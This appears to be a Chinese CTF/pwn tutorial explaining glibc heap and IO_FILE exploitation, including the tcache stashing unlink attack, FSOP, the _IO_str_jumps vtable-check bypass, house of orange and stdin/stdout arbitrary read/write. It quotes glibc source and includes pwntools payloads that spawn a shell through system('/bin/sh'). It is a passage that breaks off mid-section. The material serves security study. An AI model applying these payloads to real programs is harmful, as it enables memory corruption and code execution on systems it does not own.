先来看house of lore,如果能够修改small bin的某个free chunkbkfake chunk,并且通过修改fake chunkfd为该free chunk,绕过__glibc_unlikely( bck->fd != victim )检查,就可以通过申请堆块得到这个fake chunk,进而进行任意地址的读写操作。
当在高版本libc下有tcache后,将会更加容易达成上述目的,因为当从small bin返回了一个所需大小的chunk后,在将剩余堆块放入tcache bin的过程中,除了检测了第一个堆块的fd指针外,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测,又calloc()会越过tcache取堆块,因此有了如下tcache_stashing_unlink_attack的攻击手段,并同时实现了libc的泄露或将任意地址中的值改为很大的数(与unsorted bin attack很类似)。

  1. 假设目前tcache bin中已经有五个堆块,并且相应大小的small bin中已经有两个堆块,由bk指针连接为:chunk_A<-chunk_B

  2. 利用漏洞修改chunk_Abkfake chunk,并且修改fake chunkbktarget_addr - 0x10

  3. 通过calloc()越过tcache bin,直接从small bin中取出chunk_B返回给用户,并且会将chunk_A以及其所指向的fake chunk放入tcache bin(这里只会检测chunk_Afd指针是否指向了chunk_B)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    while ( tcache->counts[tc_idx] < mp_.tcache_count
        && (tc_victim = last (bin) ) != bin) //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
    {
     if (tc_victim != 0) //成功获取了chunk
     {
         bck = tc_victim->bk; //在这里bck是fake chunk的bk
         //设置标志位
         set_inuse_bit_at_offset (tc_victim, nb);
         if (av != &main_arena)
             set_non_main_arena (tc_victim);
     
         bin->bk = bck;
         bck->fd = bin; //关键处
     
         tcache_put (tc_victim, tc_idx); //将其放入到tcache中
     }
    }
  4. fake chunk放入tcache bin之前,执行了bck->fd = bin;的操作(这里的bck就是fake chunkbk,也就是target_addr - 0x10),故target_addr - 0x10fd,也就target_addr地址会被写入一个与libc相关大数值(可利用)。

  5. 再申请一次,就可以从tcache中获得fake chunk的控制权。

综上,此利用可以完成获得任意地址的控制权在任意地址写入大数值两个任务,这两个任务当然也可以拆解分别完成。

  1. 获得任意地址target_addr的控制权:在上述流程中,直接将chunk_Abk改为target_addr - 0x10,并且保证target_addr - 0x10bkfd为一个可写地址(一般情况下,使target_addr - 0x10bk,即target_addr + 8处的值为一个可写地址即可)。
  2. 在任意地址target_addr写入大数值:在unsorted bin attack后,有时候要修复链表,在链表不好修复时,可以采用此利用达到同样的效果,在高版本glibc下,unsorted bin attack失效后,此利用应用更为广泛。在上述流程中,需要使tcache bin中原先有六个堆块,然后将chunk_Abk改为target_addr - 0x10即可。

此外,让tcache bin中不满七个,就又在smallbin中有同样大小的堆块,并且只有calloc,可以利用堆块分割后,残余部分进入unsorted bin实现。

IO_FILE 相关结构体

_IO_FILE_plus结构体的定义为:

1
2
3
4
5
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

vtable对应的结构体_IO_jump_t的定义为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

这个函数表中有19个函数,分别完成IO相关的功能,由IO函数调用,如fwrite最终会调用__write函数,fread会调用__doallocate来分配IO缓冲区等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;
 
#define __HAVE_COLUMN
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps
此外,还有_IO_wide_data结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct _IO_wide_data
{
      wchar_t *_IO_read_ptr;   
      wchar_t *_IO_read_end;
      wchar_t *_IO_read_base;
      wchar_t *_IO_write_base;
      wchar_t *_IO_write_ptr;
      wchar_t *_IO_write_end;   
      wchar_t *_IO_buf_base;   
      wchar_t *_IO_buf_end;   
      [...]
      const struct _IO_jump_t *_wide_vtable;
};

还有一些宏的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000
#define _OLD_STDIO_MAGIC 0xFABC0000
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4
#define _IO_NO_WRITES 8
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40
#define _IO_LINKED 0x80
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

此外,许多Pwn题初始化的时候都会有下面三行:

1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

这是初始化程序的io结构体,只有初始化之后,io函数才能在程序过程中打印数据,如果不初始化,就只能在exit结束的时候,才能一起把数据打印出来。

IO_FILE attack 之 FSOP (libc 2.23 & 2.24)

主要原理为劫持vtable_chain,伪造IO_FILE,主要利用方式为调用IO_flush_all_lockp()函数触发。
IO_flush_all_lockp()函数将在以下三种情况下被调用:

  1. libc检测到内存错误,从而执行abort函数时(在glibc-2.26删除)。
  2. 程序执行exit函数时。
  3. 程序从main函数返回时。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int _IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;
 
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
        ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)   //如果输出缓冲区有数据,刷新输出缓冲区
    result = EOF;
 
 
    fp = fp->_chain; //遍历链表
    }
    [...]
}

可以看到,当满足:

1
2
fp->_mode = 0
fp->_IO_write_ptr > fp->_IO_write_base

就会调用_IO_OVERFLOW()函数,而这里的_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow,因此在libc-2.23版本下可如下构造,进行FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = "/bin/sh\x00", //对应此结构体首地址(fp)
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' 19 times>
  },
  vtable = heap_addr
}
heap_addr
{
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x0,
  __overflow = system_addr,
    ...
}

因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")

 

libc-2.24加入了对虚表的检查IO_validate_vtable()IO_vtable_check(),若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle

1
2
3
4
5
6
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

可见在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,其源码如下:

1
2
3
4
5
6
7
8
9
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
    _IO_vtable_check ();
  return vtable;
}

glibc中有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。
若指针不在glibcvtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。
具体源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
    return;
 
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
      return;
  }
 
...
 
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

因此,最好的办法是:我们伪造的vtableglibcvtable段中,从而得以绕过该检查。
目前来说,有四种思路:利用_IO_str_jumps_IO_str_overflow()函数,利用_IO_str_jumps_IO_str_finish()函数与利用_IO_wstr_jumps中对应的这两种函数,先来介绍最为方便的:利用_IO_str_jumps_IO_str_finish()函数的手段。
_IO_str_jumps的结构体如下:

1
2
3
4
5
6
7
8
9
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_str_finish),
    JUMP_INIT(overflow, _IO_str_overflow),
    JUMP_INIT(underflow, _IO_str_underflow),
    JUMP_INIT(uflow, _IO_default_uflow),
    ...
}

其中,_IO_str_finish源代码如下:

1
2
3
4
5
6
7
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

其中相关的_IO_str_fields结构体与_IO_strfile_结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

可以看到,它使用了IO结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps0x10,而_IO_OVERFLOW0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0
最后构造fp->_s._free_buffersystem_addrone gadget即可getshell
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumpsvtable中的倒数第二个表,用vtable的最后地址减去0x168定位。
也可以用如下函数进行定位:

1
2
3
4
5
6
7
8
# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

可以进行如下构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = bin_sh_addr,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' 19 times>
  },
  vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : 0x0
+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer

利用house of orange(见下文)构造的payload

1
2
3
4
payload = p64(0) + p64(0x60) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) #unsorted bin attack
payload += p64(0) + p64(1) + p64(0) + p64(next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc.sym['system'])

再来介绍一下:利用_IO_str_jumps_IO_str_overflow()函数的手段。
_IO_str_overflow()函数的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

和之前利用_IO_str_finish的思路差不多,可以看到其中调用了fp->_s._allocate_buffer函数指针,其参数rdinew_size,因此,我们将_s._allocate_buffer改为system的地址,new_size改为/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2,当然还不能忘了需要绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff_IO_write_base = 0x0即可。
最终可按如下布局fake IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) // 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer

参考payload(劫持的stdout):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])

而在libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer_s._free_buffer,而是直接用mallocfree代替,所以FSOP也失效了。

house of orange

利用unsorted bin attack 配合 IO_FILE attack (FSOP)进行攻击。
通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk)。
而在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted binfdbk指针,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP

IO_FILE attack 之 利用_fileno字段

_fileno的值就是文件描述符,位于stdin文件结构开头0x70偏移处,如:stdinfileno0stdoutfileno1stderrfileno2
在漏洞利用中,可以通过修改stdin_fileno值来重定位需要读取的文件,本来为0的话,表示从标准输入中读取,修改为3则表示为从文件描述符为3的文件(已经open的文件)中读取,该利用在某些情况下可直接读取flag

IO_FILE attack 之 任意读写

1.利用stdin进行任意写

 

scanffreadgets等读入走IO指针(read不走)。
大体流程为:若_IO_buf_base为空,则调用_IO_doallocbuf去初始化输入缓冲区,然后判断输入缓冲区是否存在剩余数据,如果输入缓冲区有剩余数据(_IO_read_end > _IO_read_ptr)则将其直接拷贝至目标地址(不会对此时输入的数据进行读入),如果没有或不够,则调用__underflow函数执行系统调用读取数据SYS_read)到输入缓冲区(从_IO_buf_base_IO_buf_end,默认0x400,即将数据读到_IO_buf_base,读取0x400个字节),此时若实际读入了n个字节的数据,则_IO_read_end = _IO_buf_base + n(即_IO_read_end指向实际读入的最后一个字节的数据),之后再将输入缓冲区中的数据拷贝到目标地址。
这里需要注意的是,若输入缓冲区中没有剩余的数据,则每次读入数据进输入缓冲区,仅和_IO_buf_base_IO_buf_end有关。
在将数据从输入缓冲区拷贝到目标地址的过程中,需要满足所调用的读入函数的自身的限制条件,例如:使用scanf("%d",&a)读入整数,则当在输入缓冲区中遇到了字符(或scanf的一些截断符)等不符合的情况,就会停止这个拷贝的过程。最终,_IO_read_ptr指向成功拷贝到目的地址中的最后一个字节数据在输入缓冲区中的地址。因此,若是遇到了不符合限制条件的情况而终止拷贝,则最终会使得_IO_read_end > _IO_read_ptr,即再下一次读入之前会被认定为输入缓冲区中仍有剩余数据,在此情况下,很有可能不会进行此次读入,或将输入缓冲区中剩余的数据拷贝到此次读入的目标地址,从而导致读入的错误
getchar()IO_getc()的作用是刷新_IO_read_ptr,每次调用,会从输入缓冲区读一个字节数据,即将_IO_read_ptr++
相关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
 ...
  if (fp->_IO_buf_base == NULL)
    {
      ...
      //输入缓冲区为空则初始化输入缓冲区
    }
  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (have > 0)
        {
          ...
          //memcpy
 
        }
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)  // 调用__underflow读入数据
          ...
        }
      ...
  return n - want;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int _IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
  ...
  // 会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。
  // 标志的定义是#define _IO_NO_READS 4,因此_flags不能包含4。
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  // 如果输入缓冲区里存在数据,则直接返回
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  ...
  // 调用_IO_SYSREAD函数最终执行系统调用读取数据
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
               fp->_IO_buf_end - fp->_IO_buf_base);
  ...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

综上,为了做到任意写,满足如下条件,即可进行利用:
(1) 设置_IO_read_end等于_IO_read_ptr(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
(2) 设置_flag &~ _IO_NO_READS_flag &~ 0x4(一般不用特意设置)。
(3) 设置_fileno0(一般不用特意设置)。
(4) 设置_IO_buf_basewrite_start_IO_buf_endwrite_end(我们目标写的起始地址是write_start,写结束地址为write_end),且使得_IO_buf_end-_IO_buf_base大于要写入的数据长度。

 

2.利用stdout进行任意读/写

 

printffwriteputs等输出走IO指针(write不走)。
_IO_2_1_stdout_中,_IO_buf_base_IO_buf_end为输出缓冲区起始位置(默认大小为0x400),在输出的过程中,会先将需要输出的数据从目标地址拷贝到输出缓冲区,再从输出缓冲区输出给用户。
缓冲区建立函数_IO_doallocbuf会建立输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。在建立里输出缓冲区后,会将基址址给_IO_write_base,若是设置的是全缓冲模式_IO_FULL_BUF,则会将结束地址给_IO_write_end,若是设置的是行缓冲模式_IO_LINE_BUF,则_IO_write_end中存的是_IO_buf_base,此外,_IO_write_ptr表示输出缓冲区中已经使用到的地址。即_IO_write_base_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr_IO_write_end之间为剩余的输出缓冲区。
最终实际调用了_IO_2_1_stdout_vtable中的_xsputn,也就是_IO_new_file_xsputn函数,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;
  if (n <= 0)
    return 0;
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    { //如果是行缓冲模式...
      count = f->_IO_buf_end - f->_IO_write_ptr; //判断输出缓冲区还有多少空间
      if (count >= n)
        {
          const char *p;
          for (p = s + n; p > s; )
            {
              if (*--p == '\n') //最后一个换行符\n为截断符,且需要刷新输出缓冲区
                {
                  count = p - s + 1;
                  must_flush = 1; //标志为真:需要刷新输出缓冲区
                  break;
                }
            }
        }
    }
  else if (f->_IO_write_end > f->_IO_write_ptr) //判断输出缓冲区还有多少空间(全缓冲模式)
    count = f->_IO_write_end - f->_IO_write_ptr;
  if (count > 0)
    {
      //如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
      if (count > to_do)
    count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0) //此处关键,见下文详细讨论
    {
      _IO_size_t block_size, do_write;
      if (_IO_OVERFLOW (f, EOF) == EOF) //调用_IO_OVERFLOW
        return to_do == 0 ? EOF : n - to_do;
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
      if (do_write)
        {
          count = new_do_write (f, s, do_write);
          to_do -= count;
          if (count < do_write)
            return n - to_do;
        }
      if (to_do)
        to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

(1)任意写
可以看到,在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中(此时由_IO_write_ptr控制,向_IO_write_ptr拷贝count长度的数据),因此可通过这一点来实现任意地址写的功能。
利用方式:以全缓冲模式为例,只需将_IO_write_ptr指向write_start_IO_write_end指向write_end即可。
这里需要注意的是,有宏定义#define _IO_LINE_BUF 0x0200,此处flag & _IO_LINE_BUF为真,则表示flag中包含了_IO_LINE_BUF标识,即开启了行缓冲模式(可用setvbuf(stdout,0,_IOLBF,1024)开启),若要构造flag包含_IO_LINE_BUF标识,则flag |= 0x200即可。
(2)任意读
先讨论_IO_new_file_xsputn源代码中if (to_do + must_flush > 0)有哪些情况会执行该分支中的内容:
(a) 首先要明确的是to_do一定是非负数,因此若must_flush1的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n换行符的时候就会需要刷新输出缓冲区,即将must_flush设为1,故当输出内容中有\n的时候就会执行该分支的内容,如用puts函数输出就一定会执行。
(b) 若to_do大于0,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if分支中的内容。
而该if分支中主要调用了_IO_OVERFLOW()来刷新输出缓冲区,而在此过程中会调用_IO_do_write()输出我们想要的数据。
相关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
  // 判断标志位是否包含_IO_NO_WRITES => _flags需要不包含_IO_NO_WRITES
  if (f->_flags & _IO_NO_WRITES)
    {
